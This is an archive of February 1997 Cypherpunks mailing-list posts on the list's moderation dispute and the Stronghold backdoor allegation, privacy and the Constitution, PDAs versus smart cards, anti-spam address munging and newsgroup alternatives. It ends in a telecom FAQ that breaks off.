Yes, people might cheat. Main point is we don't want to turn this into a
race for money. (Also, that way we can't use university machines etc.)
This topic has been discussed too often also. Read the archives for more
debate.

Tim

Tim Newsome. Programmer for Megasoft. Student at CMU. Cynic in life.
Intel sucks. Motorola forever! If it's not PGP signed, it didn't come from me. 
Always look on the bright side of life. I think I think therefore I think I am.
drz@froody.bloke.com  http://www.local.com/~tnewsom/  PGP key: 2048/C32F01A5

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3a
Charset: noconv
Comment: In God we trust. Everybody else we verify using PGP!

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Mon, 17 Feb 1997 23:30:07 -0800 (PST)
To: Steve Schear <azur@netcom.com>
Subject: Re: PDAs as alternatives to smart cards?
In-Reply-To: <199702180141.RAA19121@toad.com>
Message-ID: <3.0.1.32.19970217112701.00655258@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


At 04:49 PM 2/17/97 -0800, Steve Schear <azur@netcom.com> wrote:
>With the widespread adoption of an industry standard IR link between PDA
>type devices, networks and PCs might this not present an opportunity for
>their use as more user-configurable and application agile financial and
>communiation privacy instruments?  

PDAs are becoming somewhat widespread among technical and sales people,
but there are a lot of different varieties and horsepowers,
and some are generally programmable with near-free-ware while others aren't.
Newtons have horsepower, but aren't that common; most of the others
have 8086en or so, including the easily-programmable DOS HPs,
the cool objecty Psion OS, a few different GeoWorks based systems
(is Pilot one of those?), etc.  Then there are a huge number of
totally non-programmable Rolodex/Calendar widgets.

Any of the interesting ones cost too much to go after the
retail market, and they're owned by people who can use email.  
For the broad market you want a <=$10 device, and stores grumble if you
charge more than $200 for a really complete reader system -
which means smartcards.  

Perhaps once pager capability in PDAs becomes widespread and cheap,
the retail/wholesale pharmaceutical trading set could get interested :-)

#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#     (If this is a mailing list, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Theodor.SCHLICKMANN@BXL.DG13.cec.be
Date: Mon, 17 Feb 1997 02:42:50 -0800 (PST)
To: <cypherpunks@toad.com>
Subject: Re(2): DFA
In-Reply-To: <199702162243.OAA05104@toad.com>
Message-ID: <WIN2359-970217104112-2FC7*/G=Theodor/S=SCHLICKMANN/OU=BXL/O=DG13/PRMD=CEC/ADMD=RTT/C=BE/@MHS>
MIME-Version: 1.0
Content-Type: text/plain



Hi,

the European Commission is also sponsoring a project called "OKAPI" where Quisquater and others are working on smardcards in the spirit of the mentioned publications by DFA. Please check

        www.tele.ucl.ac.be/OKAPI/index.html

for further information.

Theodor W. Schlickmann




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Cynthia H. Brown" <cynthb@sonetis.com>
Date: Mon, 17 Feb 1997 08:48:23 -0800 (PST)
To: Bryan Reece <reece@taz.nceye.net>
Subject: Re: Cypherpunks afraid of spam?
In-Reply-To: <19970217044832.19610.qmail@taz.nceye.net>
Message-ID: <Pine.BSD/.3.91.970217114427.5668B-100000@mrburns.iosphere.net>
MIME-Version: 1.0
Content-Type: text/plain


On 17 Feb 1997, Bryan Reece wrote:

>    So, if I put root@127.0.0.1 in the "From:" field of my news reader's
>    configuration, all of my posts will give this as my e-mail address. 
> 
> More likely to be delivered is root@[127.0.0.1] or

Oops, finger trouble... Must've been something in that pizza for supper 
<sheepish grin>

Cynthia
===============================================================
		   Cynthia H. Brown, P.Eng.
E-mail:     cynthb@iosphere.net  | PGP Key:  See Home Page
Home Page:  http://www.iosphere.net/~cynthb/
Junk mail will be ignored in the order in which it is received.

        Klein bottle for rent; enquire within.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Mon, 17 Feb 1997 09:09:09 -0800 (PST)
To: Robert Hettinga <rah@shipwright.com>
Subject: Re: The Offending Stronghold posts...
Message-ID: <1.5.4.32.19970217170243.006f6ab4@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain


Robert Hettinga wrote:

>> * I'll supply copies of messages cited if you like.
>
>Would you please, just so I could trash them myself this time. :-).

OK. Here they are:

==========================================================

Return-Path: cypherpunks-errors@toad.com
X-Sender: jya@pop.pipeline.com
Date: Fri, 07 Feb 1997 17:23:14 -0500
To: cypherpunks@toad.com
From: John Young <jya@pipeline.com>
Subject: Re: More on Stronghold Charge - 1
Sender: owner-cypherpunks@toad.com

----------

Return-Path: cypherpunks-errors@toad.com
To: cypherpunks@toad.com
Subject: Disappearing articles?
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Comments: All power to the ZOG!
Date: Fri, 31 Jan 97 10:39:11 EST
Organization: Brighton Beach Boardwalk BBS, Forest Hills, N.Y.
Sender: owner-cypherpunks@toad.com

We already know that Sandy's bot automatically discards submissions from
people he doesn't like, irrespective of contents. In the past the rejected
articles were tossed to the "flames" list.  Now Sandy has gone one step 
further.  The following article criticized the product Sandy is paid to
peddle. It showed up on the 'unedited' list, but Sandy hated its contents
so much that it hasn't made it to EITHER censored or the 'flames' list!

This is the beginning of the censored article:

To: cypherpunks@toad.com
Subject: Security alert!!!
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Comments: All power to the ZOG!
Message-Id: <aw5c2D4w165w@bwalk.dm.com>
Date: Thu, 30 Jan 97 16:15:21 EST
Organization: Brighton Beach Boardwalk BBS, Forest Hills, N.Y.
Sender: owner-cypherpunks@toad.com
Precedence: bulk

WARNING: There's a rogue trojan horse out there on the internet known as the
"stronghold web server".  It's actually a hacked-up version of Apache with a
backdoor, which allows hackers (or whoever knows the backdoor) to steal credit
card numbers and other confidentil information on the Internet.

Be careful! Always use encryption. Do not send confidential information 9such
as passwords and credit card numbers) to any site running the trojan horse
"stronghold". 

In general, beware of "snake oil" security products and hacked-up versions of
free software.

Please repost this warning to all relevant computer security forums.

(rest snipped to save bandwidth)

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps

==========================================================

Return-Path: cypherpunks-errors@toad.com
X-Sender: jya@pop.pipeline.com
Date: Fri, 07 Feb 1997 18:10:58 -0500
To: cypherpunks@toad.com
From: John Young <jya@pipeline.com>
Subject: Re: Is Sandy really censoring criticisms of Stronghold, his
  product?
Sender: owner-cypherpunks@toad.com

My version of DV's ploy came via the unedited list.

There was also a good, brief discussion about Vulis's multi-pronged
Denial of Service attack on Cypherpunks, which came unedited, along 
with other informative comments about how a technologically adept 
attacker singles out a quarry amongst a lumbering, slumbering, cud-
chewing herd. Quite beastly cryptoanarchistic.

==========================================================

Return-Path: cypherpunks-errors@toad.com
X-Sender: jya@pop.pipeline.com
Date: Sun, 09 Feb 1997 13:17:32 -0500
To: cypherpunks@toad.com
From: John Young <jya@pipeline.com>
Subject: Who's Censoring Who?
Sender: owner-cypherpunks@toad.com

Sandy's e-mailed several of us who've sent messages about Vulis's
ploy to put Sandy in a conflict-of-interest bind -- a well-known attack 
on moderators of all kinds, not just on the net. 

What's worth admiring is how Vulis has adeptly managed to get others
 -- targets and witting and unwitting cohorts -- to go along with his attack, 
attack, attack, by opposing or supporting it. A useful lesson.

Smart dude, that Vulis, but no more so than others on the Net, say, Tim
May, and in the world who've done the same elsewhere, maybe 
by even smarter dude(s) who provoked, angered, insulted, an unwitting 
Vulis, or May, to attack on behalf of ... 

But such deception is to be expected, along with feigned suprise and
outrage at the unfairness of opponents fighting as dirty as one's own
pure-blackhearts.

Sandy's not censoring cypherpunks, nor is Vulis or May or any single 
person alone. As Pogo said, it's all of us, posters and lurkers and spooks, 
each trying to get one's way to prevail, under guise of a high principle not 
easily honored when the squeeze is on alone in a dark cell. Come on out
Sandy, it was just a drill.

It's probably worth saving accusations of censorship for the real thing, 
after trial usage here for what is truly nasty high-stakes global info-war 
gaming.

[Note: Thorn, "cuckoo" and TCM responded to this; none were forwarded
to the cp-edited list, AFIK.]

==========================================================








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Timothy C. May" <tcmay@got.net>
Date: Mon, 17 Feb 1997 12:18:40 -0800 (PST)
To: snow <snow@smoke.suba.com>
Subject: Constitution and a Right to Privacy
In-Reply-To: <199702170726.XAA26470@toad.com>
Message-ID: <v03007807af2e6e5ab1e4@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain


At 1:22 PM -0600 2/17/97, snow wrote:
>Mr. May wrote:
>> Some legal scholars are claiming that there is no provision in the
>> Constitution guaranteeing anonymity of purchases, and, indeed, a growing
>> number of purchases can no longer be anonymous--guns, explosives, chemicals
>> of various sorts, etc. How long before _all_ transactions must be recorded,
>> True Names revealed, etc.?
>
>	This is where I often get a little confused.
>
>	Correct me if I am wrong, but it was my understanding that the
>constitutuion was _not_ a document that explicitly spelled out what writes
>_I_ had, but rather spelled out fairly precisely what the _government_ was
>allowed to do.
>
>	In otherwords, the Constitution does not restrict _me_ rather it
>restricts the _feds_ (and the Feds alone).
>
>	My rights are WHATEVER ISN'T IN THE CONSTITUTION, and the government
>can only, ONLY do what the constitution says it can.
>
>	???

But why do you not object that the "right to free speech," "the right to
keep and bear arms," and so on, are specifically enumeratedin the Bill of
Rights? The privacy issue is that there is no such enumeration of a right
to privacy in the Bill of Rights, though many think it to be implicit in
some of the other enumerated rights, e.g,, the Fourth, and even in the
First.

Constitutional issues are not easily discussed in short messages like this.
Suffice it to say the issue of whether a "right to privacy" exists has been
long discussed, most recently by Bork, Posner, and others (I skimmed the
latest Posner book a while back, and liked his style).

The issue hit when abortion advocates argued that a "woman's right to
privacy" allowed abortions. However, none of the enumerated rights made
this obvious. Bork has opined that no right to privacy can be inferred from
the Constitution.

(And I always thought the "woman's right to privacy" argument for abortion
was flaky. Accepting such an argument, wouldn't infanticide be equally
protected by a woman's right to privacy?)

--Tim May



Just say "No" to "Big Brother Inside"
We got computers, we're tapping phone lines, I know that that ain't allowed.
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Mon, 17 Feb 1997 13:00:45 -0800 (PST)
To: Adam Back <aba@dcs.ex.ac.uk>
Subject: Re: Moderation experiment and moderator liability
In-Reply-To: <199702111922.TAA00444@server.test.net>
Message-ID: <3308C18F.7138@gte.net>
MIME-Version: 1.0
Content-Type: text/plain


Adam Back wrote:
> Dale Thorn <dthorn@gte.net> writes:
> > Adam Back wrote:
> > > [summary of events]
> > I believe your summary is very accurate except:
> > I would add after the paragraph about Dimitri posting the warning
> > about C2, that C2's lawyers sent an immediate threatening letter
> > to Dimitri.

> Agree, that should be added:
> 15a. Dimitri received a legal notice from C2Net's lawyers about
> Dimitri's allegations

I know this could sound really nitpicky, but proofreading etc. is a
big thing for me, so, I personally would not say "legal notice"
alone, as it doesn't convey the sense of threat that was very real
in the letter to Dimitri.  Perhaps "terse legal notice" or words to
that effect...

> > I would change the paragraph about Tim May receiving a warning from
> > C2's lawyers to say that Tim May received a warning second-hand that
> > anything Tim would say to support or reiterate Dimitri's claims
> > would be actionable by C2 as well.

> Let's see I wrote:
> > 21. Tim received a warning from C2Net's lawyers that if he did not
> > desist from mentioning that Dimitri had posted an article criticising
> > a C2Net product that he would be sued!

> Tim explained the situation in fair detail in his recent post,
> explaining, after Sandy's "Absolutely false." retort to my above
> claim.  Perhaps my wording could be more accurately changed in the
> light of the further explanation from Tim to:
> 21. Tim was told by a C2Net employee that if he did not desist from
> discussing Dimitri's claims about C2Net's StrongHold product, C2Net
> would take legal action against him!

Again, at the risk of nitpicking, I'd say "might take legal action...".

Just an opinion, I think you've done a really good job summarizing
these events.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Mon, 17 Feb 1997 13:05:58 -0800 (PST)
To: "Timothy C. May" <tcmay@got.net>
Subject: Re: The Offending Stronghold posts...
In-Reply-To: <v03007800af2e48c1dc67@[207.167.93.63]>
Message-ID: <3308C69B.792D@gte.net>
MIME-Version: 1.0
Content-Type: text/plain


Timothy C. May wrote:

> Interestingly, I don't recall getting any e-mail from Sandy telling me he
> was not passing on my messages to either the Main or the Flames list...my
> messages were simply dropped on the floor.
[snip]
> As conversational threads are often so tangled, and become so much more
> tangled with time, the job of the censor gets more difficult as time
> passes. Not only must he excise all mention of banned topics, he must also
> be alert to later discussions making mention of the act of banning, or of
> the topics. This is territory well-covered by Orwell, of course. The
> rewriting of history is a full-time job.

Exactly.  I hate to intrude, but some of us kids learned that lesson
in something called "Sunday School" way back when.  The lesson was
"If you tell one lie, you'll have to tell another to cover it up,
then another and another until you're buried in the lies and your
credibility is shot".  A related lesson: "An excuse is the skin of
a reason packed with a lie".





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Mark M." <markm@voicenet.com>
Date: Mon, 17 Feb 1997 10:10:21 -0800 (PST)
To: cypherpunks <wcampbel@peganet.com>
Subject: Re: Anyone have the complete info on CP list alternatives?
In-Reply-To: <199702170736.CAA02163@mercury.peganet.com>
Message-ID: <Pine.LNX.3.95.970217125144.1066A-100000@purple.voicenet.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

On Mon, 17 Feb 1997, Bill Campbell wrote:

> However, I'm very confused on just what to do at this
> point, my news server doesn't see alt.cypherpunks
> yet and if it did would probably lose about 75% of
> the posts if past performance is to be any indicator.
> (Or more accurately, would never get them, we seem
> to be a bottom feeder here in South Florida as far
> as the newsgroups go.)
> 
> Has anyone composed a concise summary of just
> what the options are? Time is running out, I guess.

Here's my understanding of the situation:

 - Newsgroups alt.cypherpunks, alt.cypherpunks.announce,
	alt.cypherpunks.social, alt.cypherpunks.technical have been created.

 - The distributed list is still forming and so far consists of
	cypherpunks@algebra.com, cypherpunks@ssz.com, and others of which I
	do not know the location.  A mail<->news gateway is planned, but not
	yet in place, between the distributed list and the newsgroup(s).
	cypherpunks@algebra.com is receiving messages from
	cypherpunks-unedited.  I assume this means that the other hosts part
	of the distributed list are also receiving cypherpunks-unedited
	messages.

 - Lance Cottrell is running another list (cypherpunks@cyberpass.net) that is
	not yet part of the distributed list.  It is also receiving feed from
	toad.com.

If you don't want to miss any messages, then you should subscribe to both
cypherpunks@cyberpass.net and one of the distributed list nodes.  Since both
are receiving cypherpunks-unedited, you can safely unsubscribe from
cypherpunks-unedited, -flames, or the "main" list.  Since these lists have
overlapping content, you should delete duplicates.


Mark
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: snow <snow@smoke.suba.com>
Date: Mon, 17 Feb 1997 11:03:19 -0800 (PST)
To: tcmay@got.net (Timothy C. May)
Subject: Re: The Science Generations, II
In-Reply-To: <199702170726.XAA26470@toad.com>
Message-ID: <199702171922.NAA00333@smoke.suba.com>
MIME-Version: 1.0
Content-Type: text/plain


Mr. May wrote:
> Some legal scholars are claiming that there is no provision in the
> Constitution guaranteeing anonymity of purchases, and, indeed, a growing
> number of purchases can no longer be anonymous--guns, explosives, chemicals
> of various sorts, etc. How long before _all_ transactions must be recorded,
> True Names revealed, etc.?

	This is where I often get a little confused.

	Correct me if I am wrong, but it was my understanding that the
constitutuion was _not_ a document that explicitly spelled out what writes 
_I_ had, but rather spelled out fairly precisely what the _government_ was 
allowed to do.

	In otherwords, the Constitution does not restrict _me_ rather it 
restricts the _feds_ (and the Feds alone).

	My rights are WHATEVER ISN'T IN THE CONSTITUTION, and the government
can only, ONLY do what the constitution says it can.

	???






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Mon, 17 Feb 1997 11:54:32 -0800 (PST)
To: cypherpunks@toad.com
Subject: WTO_tap
Message-ID: <1.5.4.32.19970217194822.00726a4c@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain


Three newspapers have pieces today on the new WTO
telecom agreement. A Page 1 NYP report examines the
administration's favoring of the once-moribund WTO over 
the UN as a principal means for "exporting US free-market 
values through global commercial agreements."

The telecom agreement, for the first time, allows the WTO
to go inside the signatory countries and check compliance, and
if warranted, impose sanctions, a role once reserved to the UN.

While encryption is not mentioned, it's worth watching the
WTO globally unite its privacy-invasive predecessors: the 
national tele-tappers. The spin is that now all governments can 
have access to the global (wiretap) network under guise of
enhanced commercial competition. (And that's why Commerce was 
given EI for CCL.)

-----

WTO_tap

----------

For related background, there's informative discussion on the 
encryption switchover from State to Commerce in the Defense 
Trade News, archived at the Dept of State Web site.

We've put the five issues in which the shift of encryption 
items from the USML to the CCL is formulated by the Technical
Working Group at:

  January/April 1993:     http://jya.com/dtn0193.htm  (76K)
  January 1994:           http://jya.com/dtn0194.htm  (99K)
  April 1994:             http://jya.com/dtn0494.htm  (66K)
  July/October, 1994:     http://jya.com/dtn0794.htm  (67K)
  October 1995:           http://jya.com/dtn1095.htm  (35K)






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Michael Froomkin - U.Miami School of Law" <froomkin@law.miami.edu>
Date: Mon, 17 Feb 1997 12:21:47 -0800 (PST)
To: aaron@herringn.com
Subject: Re: Cypherpunks afraid of spam?
In-Reply-To: <l03010d00af2a675dff72@[204.57.198.5]>
Message-ID: <Pine.SUN.3.95.970215000000.23677N-100000@viper.law.miami.edu>
MIME-Version: 1.0
Content-Type: text/plain


On Fri, 14 Feb 1997 aaron@herringn.com wrote:

> [Fairly prominent Cypherpunk I'll decline to name- I don't mean to ridicule
> him personally, just his (distressingly common) attitude]

Hey, I can take the heat.  But I'm afraid you missed my perhaps too-terse
point.

> >Just for the record.  I will not post to USENET given the spamming that
> >seems to go to IDs that appear there.
> 
> [chuckle]
> 
> Just add an anti-spam segment to your email address.
> 
> example:
> 
> jsmith[at]foo.com
> 

It's not that simple.  Consider:

1) I stopped learning more about new computer tools than the minimum
needed to do my work a long time ago, when I stopped programming and
started lawyering.  It wasn't an efficient use of my time.

2) Our system here has ONE email system: PINE.  It defaults my "from"
address.  There is no obvious way to override it.  I may have the
necessary tools and permissions, I may not; I don't feel like taking
whatever time it takes to figure it out.  We use PINE for usenet and
email, using the same config file.  There are other usenet tools here,
like tin, but I would have to learn them.  Again, I have no idea if I have
the permissions/tools/knowledge to alter my headers.  I am certain that I
could hack it with time enough and motivation enough.  I have neither.

3) I do other things besides talk to you with this tool.  I communicate
with students, family and others.  I want them to get my real headers.  I
don't want an elaborate switching mechanims every time I change the person
I'm speaking to.

> Most people worth talking to have enough of a clue to replace [at] with @.
> 
> if your software requires an apparently valid email address, try
> 
> jsmith@NOSPAM.foo.com
> 
> I put a spam-busted address in my .sig and give root@127.0.0.1 as my email
> in the from: header. Sure, somebody out there is going to be unhappy with
> me, but if they have a clue they'll figure it out. Meantime, the SpamBots
> are bouncing mail to the admin of the site instead of to me.
> 
> That may not be enough if you're already in the spamming lists. Try
> using 'positive' filtering- instead of filtering to eliminate unwanted
> mail, filter email from regular correspondents into a 'approved'
> directory, and leave the rest in the inbox to pick through later.
> 
> It seems very strange that the denziens of this list, reputed to be gutsy
> enough to take on the FBI, NSA, CIA, and White House, would be scared
> away from a discussion forum (Usenet) by uninvited email.
> 
> We'd better hope they never figure out Cypherpunks, Guardians of
> Privacy and Defenders of Free Speech, are afraid of spam.
> 
> (And supposedly the 'Moderation experiment' is over, so this won't get
> kicked onto the -flames list, although it's more ridicule than flame...)
> 
> 
> 
> 

==
The above may have been dictated via Dragon Dictate 2.52 voice
recognition. Please be alert for unintentional word substitutions. 

A. Michael Froomkin        | +1 (305) 284-4285; +1 (305) 284-6506 (fax)
Associate Professor of Law |
U. Miami School of Law     | froomkin@law.miami.edu
P.O. Box 248087            | http://www.law.miami.edu/~froomkin
Coral Gables, FL 33124 USA | It's warm here. 






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: drose@azstarnet.com
Date: Mon, 17 Feb 1997 14:53:02 -0800 (PST)
To: snow <snow@smoke.suba.com>
Subject: Re: The Science Generations, II
Message-ID: <199702172252.PAA14054@web.azstarnet.com>
MIME-Version: 1.0
Content-Type: text/plain


With regard to chemicals, may I suggest a perusal of the PGI and PML lists
(respectively, Pyrotechnics Guild Inc. and Pyrotechnics Mailing List)? These
are good resources; just about anything you might want is available.
However, they are serious; the KeWl BoMb stuff is on USENET (attn: C'Punk
Newsgroup folks-thanx Dimi--there *is* a difference).

Yea, (as D. Thorn might babble, if I understand the shards of his stuff
quoted in the posts of those who should know better) when I was a young
fellow, the guy at the local chemical supply co. asked my mom, "Lady, do you
have any idea what metallic sodium and red fuming nitric acid and Willy
Ley-strength Hydrogen Peroxide are all about?"

Me, personally? I'm glad to have traded the availability of interesting
reagents for the "Oppa-tune-itee" of having freedom and justice. (Although
nobody "axed" my opinion prior to there having been a reversal in the thrust
of gummint regulations.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jeremiah A Blatz <jer+@andrew.cmu.edu>
Date: Mon, 17 Feb 1997 13:00:25 -0800 (PST)
To: cypherpunks-unedited@toad.com
Subject: Re: The Science Generations, II
In-Reply-To: <199702171922.NAA00333@smoke.suba.com>
Message-ID: <0n2APH200YUe0Bfrk0@andrew.cmu.edu>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

snow <snow@smoke.suba.com> writes:
> Mr. May wrote:
> > Some legal scholars are claiming that there is no provision in the
> > Constitution guaranteeing anonymity of purchases, and, indeed, a growing
> > number of purchases can no longer be anonymous--guns, explosives, chemicals
> > of various sorts, etc. How long before _all_ transactions must be recorded,
> > True Names revealed, etc.?
> 
>         This is where I often get a little confused.
> 
>         Correct me if I am wrong, but it was my understanding that the
> constitutuion was _not_ a document that explicitly spelled out what writes 
> _I_ had, but rather spelled out fairly precisely what the _government_ was 
> allowed to do.
> 
>         In otherwords, the Constitution does not restrict _me_ rather it 
> restricts the _feds_ (and the Feds alone).

You neglect things like the interstate commerce provision, which means
that if it crosses state lines, the feds can regualte it. In addition,
the court (in its infinite wisdom), decided that "the people" meant
the states, then the people. So, as long as it isn't meantioned in the
constitution, the states can do whatever they want.

Welcome to America, please stay in line.

Jer

"standing on top of the world/ never knew how you never could/ never knew
 why you never could live/ innocent life that everyone did" -Wormhole

-----BEGIN PGP SIGNATURE-----
Version: 2.6.2

iQB1AwUBMwjGzskz/YzIV3P5AQGKbAL+OA3vfIyutiHrnKXRaydKz0R9hhIinVV3
sSjacpA7MNDxH+bCQhDwqx2WRT89JjKK64nTw+4YF05h3pzl1IV3TD1WNDkt8UIe
5m8Y0LY1v2M5+dGq0ifpKicV8IUkvYar
=UsSo
-----END PGP SIGNATURE-----




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: paul@fatmans.demon.co.uk
Date: Wed, 19 Feb 1997 07:25:13 -0800 (PST)
To: Bill Campbell <wcampbel@peganet.com>
Subject: Re: Anyone have the complete info on CP list alternatives?
Message-ID: <856365426.1116703.0@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain



 
> However, I'm very confused on just what to do at this
> point, my news server doesn't see alt.cypherpunks
> yet and if it did would probably lose about 75% of
> the posts if past performance is to be any indicator.
> (Or more accurately, would never get them, we seem
> to be a bottom feeder here in South Florida as far
> as the newsgroups go.)

try pubnews.demon.co.uk, its a public server open to everyone and his 
dog, recognises all newsgroups, doesn`t accept rmgroups and is quite 
fast (quickest line between UK and USA, 100mbit/sec as I remember). 

Alternatively there is always dejanews.com 


  Datacomms Technologies web authoring and data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: 5BBFAEB1
     "Don`t forget to mount a scratch monkey"




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Mon, 17 Feb 1997 16:50:34 -0800 (PST)
To: drose@azstarnet.com
Subject: Re: The Science Generations, II
In-Reply-To: <199702172252.PAA14054@web.azstarnet.com>
Message-ID: <3308FCA0.3548@gte.net>
MIME-Version: 1.0
Content-Type: text/plain


drose@azstarnet.com wrote:
> With regard to chemicals, may I suggest a perusal of the PGI and PML lists
> (respectively, Pyrotechnics Guild Inc. and Pyrotechnics Mailing List)? These
> are good resources; just about anything you might want is available.
> However, they are serious; the KeWl BoMb stuff is on USENET (attn: C'Punk
> Newsgroup folks-thanx Dimi--there *is* a difference).
> Yea, (as D. Thorn might babble, if I understand the shards of his stuff
> quoted in the posts of those who should know better) when I was a young
> fellow, the guy at the local chemical supply co. asked my mom, "Lady, do you
> have any idea what metallic sodium and red fuming nitric acid and Willy
> Ley-strength Hydrogen Peroxide are all about?"

Yea, tho' they kicked me out of school for stashing this stuff in
my wall locker, does that make me a bad person, or stupid?  Lots
of patriots in the late 1700's blew themselves up trying to make
explosives for the cause.  One person's freedom fighter....





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: azur@netcom.com (Steve Schear)
Date: Mon, 17 Feb 1997 16:46:00 -0800 (PST)
To: cypherpunks@toad.com
Subject: PDAs as alternatives to smart cards?
Message-ID: <v02140b02af2e88016969@[10.0.2.15]>
MIME-Version: 1.0
Content-Type: text/plain


With the widespread adoption of an industry standard IR link between PDA
type devices, networks and PCs might this not present an opportunity for
their use as more user-configurable and application agile financial and
communiation privacy instruments?  I'm especially thinking along the lines
of their use for ecash transactions in conjunction with smart card-type
merchant terminals sporting an inexpensive IR link to the customer's PDA.

If disk protection programs (e.g., DiskCrypt/PGPDisk) were extended to PDAs
ight that not enable them for a whole host of personal applications?

--Steve






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Mon, 17 Feb 1997 17:05:38 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Constitution and a Right to Privacy
In-Reply-To: <199702170726.XAA26470@toad.com>
Message-ID: <33090036.456B@gte.net>
MIME-Version: 1.0
Content-Type: text/plain


Timothy C. May wrote:
> >> Some legal scholars are claiming that there is no provision in the
> >> Constitution guaranteeing anonymity of purchases, and, indeed, a growing
> >> number of purchases can no longer be anonymous--guns, explosives, chemicals
> >> of various sorts, etc. How long before _all_ transactions must be recorded,
> >> True Names revealed, etc.?
[snip]
> The issue hit when abortion advocates argued that a "woman's right to
> privacy" allowed abortions. However, none of the enumerated rights made
> this obvious. Bork has opined that no right to privacy can be inferred from
> the Constitution. (And I always thought the "woman's right to privacy"
> argument for abortion was flaky. Accepting such an argument, wouldn't
> infanticide be equally protected by a woman's right to privacy?)

A perfect invitation for rational argument.  You obviously refer to
the privacy/right to destroy your own personal property, which you
pretty much have in the U.S., Constitution or no.  So the issue
above is whether the unborn baby is personal property (in the sense
that I can chop off my hair or even my ear if I want to), or the
child is personal property.  The child issue has been settled
effectively for many years now, but the controversy remains on the
unborn.

At least some of this privacy discussion would be better presented
from another angle - how deep would the feds want to probe into the
common folks' lives, what techniques would be employed, how would
the serious folks get around those things, and where would the
greatest (and most serious) amount of actions converge to flare up
in the public consciousness (media, internet, etc.)?





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: azur@netcom.com (Steve Schear)
Date: Mon, 17 Feb 1997 17:03:45 -0800 (PST)
To: cypherpunks@toad.com
Subject: Telecom Frequently Asked Questions File - 1997 Edition [fwd]
Message-ID: <v02140b05af2eb094f1fd@[10.0.2.15]>
MIME-Version: 1.0
Content-Type: text/plain


  From: David Leibold <djcl@interlog.com>
  To: Telecom Digest <ptownson@massis.lcs.mit.edu>
  Subject: Telecom Digest FAQ - revised edition

TELECOM Digest - Frequently Asked Questions - v.8           8 February 1997

* Frequency of Updates: approximately annual (special updates are possible)

* FAQ contributions to: Telecom.FAQ@superctl.tor250.org
                        or, dleibold@else.net
                        or, aa070@freenet.toronto.on.ca

Introduction...

This is a list of frequently asked questions made in the TELECOM Digest.
New versions of the list are occasionally made available to deal with new,
corrected or updated questions. Many contributors have made the FAQ what
it is today (those listed in the "Who contributed to this FAQ?" question
are hereby thanked).

Check the Archives...

Much of the telecom information that is requested can be found in the
TELECOM Digest Home Page, via WWW at:

         http://hyperarchive.lcs.mit.edu/telecom-archives

This web page should have links to this FAQ file, as well as various
informational files on telecom subjects and the Digest itself. The
Archives for TELECOM Digest should also be available via the Home Page.

The TELECOM Digest Archives are also available through anonymous FTP at
massis.lcs.mit.edu (login as anonymous, mail address for password, cd to
telecom-archives). If possible, try to access the information via the
TELECOM Digest Home Page first. You can also access the Archives using
anonymous ftp at the mirror site: ftp.epix.net/pub/telecom-archives.

Also, there is an email <--> ftp service operating called the Telecom
Archives Email Information Service. Anything in the archives can be
obtained automatically by email. Send mail addressed to:

              tel-archives@massis.lcs.mit.edu

The subject does not matter. Include no text, sending just a blank
letter. You will get a help file by return mail and should use that
as a guide to ordering stuff by email from the archives.

A list of terms commonly used in TELECOM Digest is contained in a
"Glossary" section on the Home Page or in the Archives.

Try direct inquiries...

Direct netmail requests to persons posting on topics of interest to you may
also be helpful. In fact, doing things "behind the scenes" can be more
productive as the Digest Moderator is frequently swamped with other items.
Future editions of this list could include netmail addresses of contacts for
certain topics (say for ISDN, cellular, area codes/numbering plan, consumer
